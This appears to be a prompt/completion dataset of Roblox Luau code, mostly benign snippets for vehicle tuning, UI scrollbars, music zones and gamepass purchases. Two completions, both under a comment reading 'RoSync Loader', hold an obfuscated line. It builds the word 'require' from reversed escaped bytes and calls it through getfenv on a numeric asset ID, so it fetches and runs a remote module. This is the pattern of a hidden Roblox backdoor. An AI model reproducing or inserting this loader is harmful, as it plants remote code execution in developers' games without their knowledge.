prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--[[ Last synced 10/19/2020 07:14 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
--[[ UI FUNCTION ]]
-- local function AddUI(pl) script.SoftShutdown:Clone().Parent = pl:WaitForChild("PlayerGui") local PlayerGui = pl:WaitForChild("PlayerGui") local Frame = PlayerGui:WaitForChild("SoftShutdown").Frame Frame:TweenPosition(UDim2.new(0,0,0,0),"In","Quad",.5,true) end
-----------------------------------------
while true do -- Makes a loop brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) end
--- Gamepass purchase prompted!
_L.Services.MarketplaceService.PromptGamePassPurchaseFinished:Connect(function(player, gamepassId, purchased) if player then --- Did player complete transaction? if purchased == true then --- Player bought gamepass! WHAT A MASSIVE LEGEND AddGamepass(player, gamepassId) --- Let client know purchase went through _L.Network.Fire("Gamepass Bought", player, gamepassId) end end end)
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , ToggleMouseDrive = Enum.KeyCode.R , --Primary Controls Throttle = Enum.KeyCode.W , Brake = Enum.KeyCode.S , SteerLeft = Enum.KeyCode.A , SteerRight = Enum.KeyCode.D , --Secondary Controls Throttle2 = Enum.KeyCode.B , Brake2 = Enum.KeyCode.N , SteerLeft2 = Enum.KeyCode.M , SteerRight2 = Enum.KeyCode.V , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftControl , --Handbrake PBrake = Enum.KeyCode.LeftShift , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , }
--// Aim|Zoom|Sensitivity Customization
ZoomSpeed = 0.25; -- The lower the number the slower and smoother the tween AimZoom = 35; -- Default zoom AimSpeed = 0.45; UnaimSpeed = 0.35; CycleAimZoom = 35; -- Cycled zoom MouseSensitivity = 0.5; -- Number between 0.1 and 1 SensitivityIncrement = 0.05; -- No touchy
--[=[ `Start` is called when the component is started. At this point in time, it is safe to grab other components also bound to the same instance. ```lua local MyComponent = Component.new({Tag = "MyComponent"}) local AnotherComponent = require(somewhere.AnotherComponent) function MyComponent:Start() -- e.g., grab another component: local another = self:GetComponent(AnotherComponent) end ``` ]=]
function Component:Start() end
-- local player = Players.LocalPlayer -- локальный игрок
-- print("Develop 1") game:GetService("MarketplaceService"):PromptProductPurchase(localPlayer,id) -- выполнение запроса покупки -- print("Develop 2") end) while true do wait() dev = plr:FindFirstChild("Develop") if dev ~= nil then -- warn(dev," found") local id=script.Name tmp = dev:FindFirstChild(id) if tmp ~= nil then -- warn(tmp," found") act=script.Parent.Activat osTime= os.time() -- warn("====>>>>",osTime,"{}",tmp.Value) if osTime > tmp.Value then act.Text = "not active" act.TextColor3 = Color3.fromRGB(127,127,127) else tt= tmp.Value-osTime mm = math.floor(tt/60) if mm < 10 then mm = "0" .. tostring(mm) else mm = tostring(mm) end ss = math.fmod(tt,60) if ss < 10 then ss = "0" .. tostring(ss) else ss = tostring(ss) end act.Text = "Activated [" .. mm .. ":" .. ss .. "]" act.TextColor3 = Color3.fromRGB(255,127,0) end end end end
--[[** ensures Roblox Faces type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.Faces = primitive("Faces")
-- AutoButtonColor doesn't always reset properly
function ResetButtonColor(button) local active = button.Active button.Active = not active button.Active = active end function ArrowGraphic(size,dir,scaled,template) local Frame = Create('Frame',{ Name = "Arrow Graphic"; BorderSizePixel = 0; Size = UDim2.new(0,size,0,size); Transparency = 1; }) if not template then template = Instance.new("Frame") template.BorderSizePixel = 0 end local transform if dir == nil or dir == 'Up' then function transform(p,s) return p,s end elseif dir == 'Down' then function transform(p,s) return UDim2.new(0,p.X.Offset,0,size-p.Y.Offset-1),s end elseif dir == 'Left' then function transform(p,s) return UDim2.new(0,p.Y.Offset,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end elseif dir == 'Right' then function transform(p,s) return UDim2.new(0,size-p.Y.Offset-1,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end end local scale if scaled then function scale(p,s) return UDim2.new(p.X.Offset/size,0,p.Y.Offset/size,0),UDim2.new(s.X.Offset/size,0,s.Y.Offset/size,0) end else function scale(p,s) return p,s end end local o = math.floor(size/4) if size%2 == 0 then local n = size/2-1 for i = 0,n do local t = template:Clone() local p,s = scale(transform( UDim2.new(0,n-i,0,o+i), UDim2.new(0,(i+1)*2,0,1) )) t.Position = p t.Size = s t.Parent = Frame end else local n = (size-1)/2 for i = 0,n do local t = template:Clone() local p,s = scale(transform( UDim2.new(0,n-i,0,o+i), UDim2.new(0,i*2+1,0,1) )) t.Position = p t.Size = s t.Parent = Frame end end if size%4 > 1 then local t = template:Clone() local p,s = scale(transform( UDim2.new(0,0,0,size-o-1), UDim2.new(0,size,0,1) )) t.Position = p t.Size = s t.Parent = Frame end return Frame end function GripGraphic(size,dir,spacing,scaled,template) local Frame = Create('Frame',{ Name = "Grip Graphic"; BorderSizePixel = 0; Size = UDim2.new(0,size.x,0,size.y); Transparency = 1; }) if not template then template = Instance.new("Frame") template.BorderSizePixel = 0 end spacing = spacing or 2 local scale if scaled then function scale(p) return UDim2.new(p.X.Offset/size.x,0,p.Y.Offset/size.y,0) end else function scale(p) return p end end if dir == 'Vertical' then for i=0,size.x-1,spacing do local t = template:Clone() t.Size = scale(UDim2.new(0,1,0,size.y)) t.Position = scale(UDim2.new(0,i,0,0)) t.Parent = Frame end elseif dir == nil or dir == 'Horizontal' then for i=0,size.y-1,spacing do local t = template:Clone() t.Size = scale(UDim2.new(0,size.x,0,1)) t.Position = scale(UDim2.new(0,0,0,i)) t.Parent = Frame end end return Frame end do local mt = { __index = { GetScrollPercent = function(self) return self.ScrollIndex/(self.TotalSpace-self.VisibleSpace) end; CanScrollDown = function(self) return self.ScrollIndex + self.VisibleSpace < self.TotalSpace end; CanScrollUp = function(self) return self.ScrollIndex > 0 end; ScrollDown = function(self) self.ScrollIndex = self.ScrollIndex + self.PageIncrement self:Update() end; ScrollUp = function(self) self.ScrollIndex = self.ScrollIndex - self.PageIncrement self:Update() end; ScrollTo = function(self,index) self.ScrollIndex = index self:Update() end; SetScrollPercent = function(self,percent) self.ScrollIndex = math.floor((self.TotalSpace - self.VisibleSpace)*percent + 0.5) self:Update() end; }; } mt.__index.CanScrollRight = mt.__index.CanScrollDown mt.__index.CanScrollLeft = mt.__index.CanScrollUp mt.__index.ScrollLeft = mt.__index.ScrollUp mt.__index.ScrollRight = mt.__index.ScrollDown function ScrollBar(horizontal) local ScrollFrame = Create('Frame',{ Name = "ScrollFrame", Position = horizontal and UDim2_new(0,0,1,-ScrollBarWidth) or UDim2_new(1,-ScrollBarWidth,0,0), Size = horizontal and UDim2_new(1,0,0,ScrollBarWidth) or UDim2_new(0,ScrollBarWidth,1,0), BackgroundTransparency = 1, Create('ImageButton',{ Name = "ScrollDown", Position = horizontal and UDim2_new(1,-ScrollBarWidth,0,0) or UDim2_new(0,0,1,-ScrollBarWidth), Size = UDim2_new(0, ScrollBarWidth, 0, ScrollBarWidth), BackgroundColor3 = ScrollStyles.Button, BorderColor3 = ScrollStyles.Border, ImageColor3 = Styles.White }), Create('ImageButton',{ Name = "ScrollUp", Size = UDim2_new(0, ScrollBarWidth, 0, ScrollBarWidth), BackgroundColor3 = ScrollStyles.Button, BorderColor3 = ScrollStyles.Border, ImageColor3 = Styles.White }), Create('ImageButton',{ Name = "ScrollBar", Size = horizontal and UDim2_new(1,-ScrollBarWidth*2,1,0) or UDim2_new(1,0,1,-ScrollBarWidth*2), Position = horizontal and UDim2_new(0,ScrollBarWidth,0,0) or UDim2_new(0,0,0,ScrollBarWidth), AutoButtonColor = false, BackgroundColor3 = Color3_new(1/4, 1/4, 1/4), BorderColor3 = ScrollStyles.Border, Create('ImageButton',{ Name = "ScrollThumb", AutoButtonColor = false, Size = UDim2_new(0, ScrollBarWidth, 0, ScrollBarWidth), BackgroundColor3 = ScrollStyles.Button, BorderColor3 = ScrollStyles.Border, ImageColor3 = Styles.White }) }) }) local graphicTemplate = Create('Frame',{ Name="Graphic", BorderSizePixel = 0, BackgroundColor3 = Color3_new(1, 1, 1) }) local graphicSize = ScrollBarWidth/2 local ScrollDownFrame = ScrollFrame.ScrollDown local ScrollDownGraphic = ArrowGraphic(graphicSize,horizontal and 'Right' or 'Down',true,graphicTemplate) ScrollDownGraphic.Position = UDim2_new(.5,-graphicSize/2,.5,-graphicSize/2) ScrollDownGraphic.Parent = ScrollDownFrame local ScrollUpFrame = ScrollFrame.ScrollUp local ScrollUpGraphic = ArrowGraphic(graphicSize,horizontal and 'Left' or 'Up',true,graphicTemplate) ScrollUpGraphic.Position = UDim2_new(.5,-graphicSize/2,.5,-graphicSize/2) ScrollUpGraphic.Parent = ScrollUpFrame local ScrollBarFrame = ScrollFrame.ScrollBar local ScrollThumbFrame = ScrollBarFrame.ScrollThumb do local size = ScrollBarWidth*3/8 local Decal = GripGraphic(Vector2_new(size,size),horizontal and 'Vertical' or 'Horizontal',2,graphicTemplate) Decal.Position = UDim2_new(.5,-size/2,.5,-size/2) Decal.Parent = ScrollThumbFrame end local MouseDrag = Create('ImageButton',{ Name = "MouseDrag", Position = UDim2_new(-.25,0,-.25,0), Size = UDim2_new(1.5,0,1.5,0), Transparency = 1, AutoButtonColor = false, Active = true, ZIndex = 10 }) local Class = setmetatable({ GUI = ScrollFrame, ScrollIndex = 0, VisibleSpace = 0, TotalSpace = 0, PageIncrement = 1 },mt) local UpdateScrollThumb if horizontal then function UpdateScrollThumb() ScrollThumbFrame.Size = UDim2_new(Class.VisibleSpace/Class.TotalSpace,0,0,ScrollBarWidth) if ScrollThumbFrame.AbsoluteSize.X < ScrollBarWidth then ScrollThumbFrame.Size = UDim2_new(0,ScrollBarWidth,0,ScrollBarWidth) end local barSize = ScrollBarFrame.AbsoluteSize.X ScrollThumbFrame.Position = UDim2_new(Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.X)/barSize,0,0,0) end else function UpdateScrollThumb() ScrollThumbFrame.Size = UDim2_new(0,ScrollBarWidth,Class.VisibleSpace/Class.TotalSpace,0) if ScrollThumbFrame.AbsoluteSize.Y < ScrollBarWidth then ScrollThumbFrame.Size = UDim2_new(0,ScrollBarWidth,0,ScrollBarWidth) end local barSize = ScrollBarFrame.AbsoluteSize.Y ScrollThumbFrame.Position = UDim2_new(0,0,Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.Y)/barSize,0) end end local lastDown, lastUp local scrollStyle = {BackgroundColor3=Color3_new(1, 1, 1),BackgroundTransparency=0} local scrollStyle_ds = {BackgroundColor3=Color3_new(1, 1, 1),BackgroundTransparency=.7} local function Update() local t,v,s = Class.TotalSpace,Class.VisibleSpace,Class.ScrollIndex if v <= t then if s > 0 then if s + v > t then Class.ScrollIndex = t - v end else Class.ScrollIndex = 0 end else Class.ScrollIndex = 0 end if Class.UpdateCallback then if Class.UpdateCallback(Class) == false then return end end local down,up = Class:CanScrollDown(),Class:CanScrollUp() if down ~= lastDown then lastDown = down ScrollDownFrame.Active = down ScrollDownFrame.AutoButtonColor = down local children,style = ScrollDownGraphic:GetChildren(),down and scrollStyle or scrollStyle_ds for i = 1,#children do Create(children[i],style) end end if up ~= lastUp then lastUp = up ScrollUpFrame.Active = up ScrollUpFrame.AutoButtonColor = up local children,style = ScrollUpGraphic:GetChildren(),up and scrollStyle or scrollStyle_ds for i = 1,#children do Create(children[i],style) end end ScrollThumbFrame.Visible = down or up UpdateScrollThumb() end Class.Update = Update SetZIndexOnChanged(ScrollFrame) local scrollEventID = 0 ScrollDownFrame.MouseButton1Down:Connect(function() scrollEventID = tick() local current,up_con = scrollEventID,nil up_con = MouseDrag.MouseButton1Up:Connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollDownFrame) up_con:Disconnect() drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) Class:ScrollDown() wait(.2) while scrollEventID == current do Class:ScrollDown() if not Class:CanScrollDown() then break end wait() end end) ScrollDownFrame.MouseButton1Up:Connect(function() scrollEventID = tick() end) ScrollUpFrame.MouseButton1Down:Connect(function() scrollEventID = tick() local current,up_con = scrollEventID,nil up_con = MouseDrag.MouseButton1Up:Connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollUpFrame) up_con:Disconnect() drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) Class:ScrollUp() wait(.2) while scrollEventID == current do Class:ScrollUp() if not Class:CanScrollUp() then break end wait() end end) ScrollUpFrame.MouseButton1Up:Connect(function() scrollEventID = tick() end) if horizontal then ScrollBarFrame.MouseButton1Down:Connect(function(x,y) scrollEventID = tick() local current = scrollEventID local up_con up_con = MouseDrag.MouseButton1Up:Connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollUpFrame) up_con:Disconnect() drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) if x > ScrollThumbFrame.AbsolutePosition.X then Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace) wait(.2) while scrollEventID == current do if x < ScrollThumbFrame.AbsolutePosition.X + ScrollThumbFrame.AbsoluteSize.X then break end Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace) wait() end else Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace) wait(.2) while scrollEventID == current do if x > ScrollThumbFrame.AbsolutePosition.X then break end Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace) wait() end end end) else ScrollBarFrame.MouseButton1Down:Connect(function(x,y) scrollEventID = tick() local current = scrollEventID local up_con up_con = MouseDrag.MouseButton1Up:Connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollUpFrame) up_con:Disconnect(); drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) if y > ScrollThumbFrame.AbsolutePosition.Y then Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace) wait(.2) while scrollEventID == current do if y < ScrollThumbFrame.AbsolutePosition.Y + ScrollThumbFrame.AbsoluteSize.Y then break end Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace) wait() end else Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace) wait(.2) while scrollEventID == current do if y > ScrollThumbFrame.AbsolutePosition.Y then break end Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace) wait() end end end) end if horizontal then ScrollThumbFrame.MouseButton1Down:Connect(function(x,y) scrollEventID = tick() local mouse_offset = x - ScrollThumbFrame.AbsolutePosition.X local drag_con,up_con drag_con = MouseDrag.MouseMoved:Connect(function(x,y) local bar_abs_pos = ScrollBarFrame.AbsolutePosition.X local bar_drag = ScrollBarFrame.AbsoluteSize.X - ScrollThumbFrame.AbsoluteSize.X local bar_abs_one = bar_abs_pos + bar_drag x = x - mouse_offset x = x < bar_abs_pos and bar_abs_pos or x > bar_abs_one and bar_abs_one or x x = x - bar_abs_pos Class:SetScrollPercent(x/(bar_drag)) end) up_con = MouseDrag.MouseButton1Up:Connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollThumbFrame) drag_con:Disconnect(); drag_con = nil up_con:Disconnect(); drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) end) else ScrollThumbFrame.MouseButton1Down:Connect(function(x,y) scrollEventID = tick() local mouse_offset = y - ScrollThumbFrame.AbsolutePosition.Y local drag_con,up_con drag_con = MouseDrag.MouseMoved:Connect(function(x,y) local bar_abs_pos = ScrollBarFrame.AbsolutePosition.Y local bar_drag = ScrollBarFrame.AbsoluteSize.Y - ScrollThumbFrame.AbsoluteSize.Y local bar_abs_one = bar_abs_pos + bar_drag y = y - mouse_offset y = y < bar_abs_pos and bar_abs_pos or y > bar_abs_one and bar_abs_one or y y = y - bar_abs_pos Class:SetScrollPercent(y/(bar_drag)) end) up_con = MouseDrag.MouseButton1Up:Connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollThumbFrame) drag_con:Disconnect(); drag_con = nil up_con:Disconnect(); drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) end) end function Class:Destroy() ScrollFrame:Destroy() MouseDrag:Destroy() for k in next, Class do Class[k] = nil end setmetatable(Class,nil) end Update() return Class end end
-- local SNAPSHOT_VERSION_WARNING = chalk.yellow( -- chalk.bold('Warning') .. ": Before you upgrade snapshots, " .. -- "we recommend that you revert any local changes to tests or other code, " .. -- "to ensure that you do not store invalid state." -- )
local normalizeNewLines, deepMerge local function writeSnapshotVersion() return "-- Jest Roblox Snapshot v" .. SNAPSHOT_VERSION .. ", " .. SNAPSHOT_GUIDE_LINK end
--now, load the zone & music data into the script
local zones = {} local music = {} local globali if settings.UseMusicZones == true then for i,zone in pairs(zonesfolder:GetChildren()) do if zone:IsA("Model") and zone:FindFirstChild("Music") then music[i] = {} for _,sound in pairs(zone.Music:GetChildren()) do --save all of the music data for this zone if sound:IsA("Sound") then table.insert(music[i], {["SoundId"] = sound.SoundId, ["Volume"] = sound.Volume, ["Pitch"] = sound.Pitch}) end end zones[i] = { ["Priority"] = zone:FindFirstChild("Priority") and zone.Priority.Value or 1, ["Parts"] = {}, ["Music"] = music[i] } for _,part in pairs(zone:GetChildren()) do if part:IsA("Part") then if IsCleanRotation({part.Rotation.X,part.Rotation.Y,part.Rotation.Z}) == true then --store the min and max X/Y/Z position coordinates of this part local lx,ly,lz = math.huge,math.huge,math.huge local mx,my,mz = -math.huge,-math.huge,-math.huge local function ApplyValues(p) if p.x < lx then lx = p.x end if p.x > mx then mx = p.x end if p.y < ly then ly = p.y end if p.y > my then my = p.y end if p.z < lz then lz = p.z end if p.z > mz then mz = p.z end end local points = {} --a bunch of sloppy math stuff to calculate the coordinates on each of the part's faces so we can figure out the min and max values. mathematicians, pls don't kill me if i'm doing this terribly local cf1 = part.CFrame local cf2 = (part.CFrame * CFrame.Angles(0,math.pi/2,0)) local cf3 = (part.CFrame * CFrame.Angles(math.pi/2,0,0)) local lvz = (cf1.lookVector * (part.Size.Z/2)) local lvx = (cf2.lookVector * (part.Size.X/2)) local lvy = (cf3.lookVector * (part.Size.Y/2)) points[1] = cf1+lvz points[2] = cf1-lvz points[3] = cf2+lvx points[4] = cf2-lvx points[5] = cf3+lvy points[6] = cf3-lvy for _,p in pairs(points) do ApplyValues(p) end table.insert(zones[i]["Parts"],{["Coordinates"] = {lx=lx,ly=ly,lz=lz, mx=mx,my=my,mz=mz}}) else --save a reference to the part itself to be used for GetTouchingParts(), since it has a complex rotation that can't be solved with my own feeble calculations table.insert(zones[i]["Parts"],{["Part"] = part}) end end end end end end if settings.UseGlobalBackgroundMusic == true then globali = #music + 1 music[globali] = {} for _,sound in pairs(globalfolder:GetChildren()) do if sound:IsA("Sound") then table.insert(music[globali], {["SoundId"] = sound.SoundId, ["Volume"] = sound.Volume, ["Pitch"] = sound.Pitch}) end end end
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 1500 -- Front brake force Tune.RBrakeForce = 1000 -- Rear brake force Tune.PBrakeForce = 10000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
--[=[ Constructs a new AccelTween. ```lua local accelTween = AccelTween.new(30) accelTween.t = 1 conn = RunService.RenderStepped:Connect(function() print(accelTween.p) end) task.delay(accelTween.rtime, function() conn:Disconnect() end) ``` @param maxaccel number? -- The maximum acceleration applied to reach its target. Defaults to 1 @return AccelTween ]=]
function AccelTween.new(maxaccel) local self = setmetatable({ _accel = maxaccel or 1; _t0 = 0; _y0 = 0; _a0 = 0; _t1 = 0; _y1 = 0; _a1 = 0; }, AccelTween) return self end
-- Returns the names of the winner(s) according to most points scored
function PlayerManager.getWinnerNames() if #activePlayers >= 1 then local topScore = -1 local winnerNames = {} for i, player in pairs(activePlayers) do local playerScore = leaderboardManager:getStat(player, "Points").Value if playerScore then if playerScore > topScore then winnerNames = {player.Name} elseif playerScore == topScore then table.insert(winnerNames, player.Name) end end end return winnerNames else return {} end end
-- -- Verify that everything is where it should be
assert(Self:FindFirstChild'Humanoid' ~= nil, 'Monster does not have a humanoid') assert(Settings ~= nil, 'Monster does not have a Configurations object') assert(Settings:FindFirstChild'MaximumDetectionDistance' ~= nil and Settings.MaximumDetectionDistance:IsA'NumberValue', 'Monster does not have a MaximumDetectionDistance (NumberValue) setting') assert(Settings:FindFirstChild'CanGiveUp' ~= nil and Settings.CanGiveUp:IsA'BoolValue', 'Monster does not have a CanGiveUp (BoolValue) setting') assert(Settings:FindFirstChild'CanRespawn' ~= nil and Settings.CanRespawn:IsA'BoolValue', 'Monster does not have a CanRespawn (BoolValue) setting') assert(Settings:FindFirstChild'SpawnPoint' ~= nil and Settings.SpawnPoint:IsA'Vector3Value', 'Monster does not have a SpawnPoint (Vector3Value) setting') assert(Settings:FindFirstChild'AutoDetectSpawnPoint' ~= nil and Settings.AutoDetectSpawnPoint:IsA'BoolValue', 'Monster does not have a AutoDetectSpawnPoint (BoolValue) setting') assert(Settings:FindFirstChild'FriendlyTeam' ~= nil and Settings.FriendlyTeam:IsA'BrickColorValue', 'Monster does not have a FriendlyTeam (BrickColorValue) setting') assert(Settings:FindFirstChild'AttackDamage' ~= nil and Settings.AttackDamage:IsA'NumberValue', 'Monster does not have a AttackDamage (NumberValue) setting') assert(Settings:FindFirstChild'AttackFrequency' ~= nil and Settings.AttackFrequency:IsA'NumberValue', 'Monster does not have a AttackFrequency (NumberValue) setting') assert(Settings:FindFirstChild'AttackRange' ~= nil and Settings.AttackRange:IsA'NumberValue', 'Monster does not have a AttackRange (NumberValue) setting') assert(Mind ~= nil, 'Monster does not have a Mind object') assert(Mind:FindFirstChild'CurrentTargetHumanoid' ~= nil and Mind.CurrentTargetHumanoid:IsA'ObjectValue', 'Monster does not have a CurrentTargetHumanoid (ObjectValue) mind setting') assert(Self:FindFirstChild'Respawn' and Self.Respawn:IsA'BindableFunction', 'Monster does not have a Respawn BindableFunction') assert(Self:FindFirstChild'Died' and Self.Died:IsA'BindableEvent', 'Monster does not have a Died BindableEvent') assert(Self:FindFirstChild'Respawned' and Self.Died:IsA'BindableEvent', 'Monster does not have a Respawned BindableEvent') assert(Self:FindFirstChild'Attacked' and Self.Died:IsA'BindableEvent', 'Monster does not have a Attacked BindableEvent') assert(script:FindFirstChild'Attack' and script.Attack:IsA'Animation', 'Monster does not have a MonsterScript.Attack Animation')
-- requires luaP, luaX, luaY
local luaK = {} local luaP = require(script.Parent.LuaP) local luaX = require(script.Parent.LuaX)
--!strict
local Players = game:GetService("Players") local NAME_COLORS = { Color3.new(253/255, 41/255, 67/255), -- BrickColor.new("Bright red").Color, Color3.new(1/255, 162/255, 255/255), -- BrickColor.new("Bright blue").Color, Color3.new(2/255, 184/255, 87/255), -- BrickColor.new("Earth green").Color, BrickColor.new("Bright violet").Color, BrickColor.new("Bright orange").Color, BrickColor.new("Bright yellow").Color, BrickColor.new("Light reddish violet").Color, BrickColor.new("Brick yellow").Color, } local function GetNameValue(pName: string) local value = 0 for index = 1, #pName do local cValue = string.byte(string.sub(pName, index, index)) local reverseIndex = #pName - index + 1 if #pName % 2 == 1 then reverseIndex = reverseIndex - 1 end if reverseIndex % 4 >= 2 then cValue = -cValue end value += cValue end return value end local color_offset = 0 local function ComputeNameColor(pName) return NAME_COLORS[((GetNameValue(pName) + color_offset) % #NAME_COLORS) + 1] end local function GetNameColor(userId: number): Color3 local player: Player = Players:GetPlayerByUserId(userId) return ComputeNameColor(player.Name) end return GetNameColor
--[[Weight and CG]]
Tune.Weight = 2800 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- MODULES --
local numShorten = require(Modules.UIModules.NumberShorten)
--[[ Last synced 4/18/2021 05:43 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- VERTICE FUNCTIONS
local function fromIndexArray(array) local output = {} for i = 1, #array do output[i] = CORNERS[array[i]] end return output end local function cylinder(n) local output = {} local arc = PI2 / n for i = 1, n do local vi = CFrame.fromAxisAngle(RIGHT, i*arc) * UP output[i] = RIGHT + vi output[n + i] = LEFT + vi end return output end local function icoSphere(n) local verts = { Vector3.new(-1, PHI, 0), Vector3.new(1, PHI, 0), Vector3.new(-1, -PHI, 0), Vector3.new(1, -PHI, 0), Vector3.new(0, -1, PHI), Vector3.new(0, 1, PHI), Vector3.new(0, -1, -PHI), Vector3.new(0, 1, -PHI), Vector3.new(PHI, 0, -1), Vector3.new(PHI, 0, 1), Vector3.new(-PHI, 0, -1), Vector3.new(-PHI, 0, 1) } local indices = { 1, 12, 6, 1, 6, 2, 1, 2, 8, 1, 8, 11, 1, 11, 12, 2, 6, 10, 6, 12, 5, 12, 11, 3, 11, 8, 7, 8, 2, 9, 4, 10, 5, 4, 5, 3, 4, 3, 7, 4, 7, 9, 4, 9, 10, 5, 10, 6, 3, 5, 12, 7, 3, 11, 9, 7, 8, 10, 9, 2 } local splits = {} local function split(i, j) local key = i < j and (i .. "," .. j) or (j .. "," .. i) if (not splits[key]) then verts[#verts+1] = (verts[i] + verts[j]) / 2 splits[key] = #verts end return splits[key] end for _ = 1, n do for i = #indices, 1, -3 do local v1, v2, v3 = indices[i - 2], indices[i - 1], indices[i] local a = split(v1, v2) local b = split(v2, v3) local c = split(v3, v1) indices[#indices+1] = v1 